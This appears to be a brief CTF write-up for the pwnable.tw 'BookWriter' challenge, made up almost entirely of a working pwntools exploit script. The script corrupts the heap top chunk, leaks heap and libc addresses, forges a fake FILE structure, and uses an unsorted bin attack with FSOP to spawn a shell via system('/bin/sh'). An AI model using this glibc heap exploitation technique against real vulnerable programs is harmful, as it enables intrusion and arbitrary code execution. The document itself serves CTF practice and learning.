和媳妇一起学Pwn 之 BookWriter

本题总结点较多,之后总结

参考

exp

from pwn import *

context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./bookwriter")
libc   = ELF("./libc_64.so.6")
io     = remote("chall.pwnable.tw",10304)

uu64        = lambda data          :  u64(data.ljust(8, b'\0'))
sla         = lambda delim,data    :  (io.sendlineafter(delim, data))
sa          = lambda delim,data    :  (io.sendafter(delim, data))
start       = lambda author        :  (sla("Author :",author))
add         = lambda size,content  :  (sla("choice :","1"),sla("page :",str(size)),sa("Content :",content))
view        = lambda num           :  (sla("choice :","2"),sla("page :",str(num)))
edit        = lambda num,content   :  (sla("choice :","3"),sla("page :",str(num)),sla("Content:",content))
show        = lambda               :  (sla("choice :","4"))

# fill author  
start("x"*60+'xuan')

# overlap and modify top chunk size 
add(0x18,'a')
edit(0,'b'*0x18)
edit(0,'\x00'*0x18+'\xe1\x0f')

# leak heap
show();io.recvuntil("xuan")
heap_addr = uu64(io.recvuntil("\n")[:-1])
sla(") ",'0')

# move top chunk to unsorted bin
add(0x1000,'a')
for i in range(7):
    add(0x18,'xuanxuan')

# leak libc
view(2);io.recvuntil("xuanxuan")
libc.address = uu64(io.readline()[:-1])-0x3c4188

# make fake file 
data = "\x00"*(0x20*7+0x10)
payload  = "/bin/sh\x00" + p64(0x61) 
payload += p64(0) + p64(libc.symbols['_IO_list_all']-0x10) 
payload += p64(0) + p64(1)
payload = payload.ljust(0xd8, "\x00")
payload += p64(heap_addr + 0x20*7+0x10 + 0xd8 + 0x8)+p64(libc.symbols['system'])*4
edit(0,data+payload)

# use unsorted bin attack and FSOP to getshell
sla("choice :","1");sla("page :",str(0x10))
io.interactive()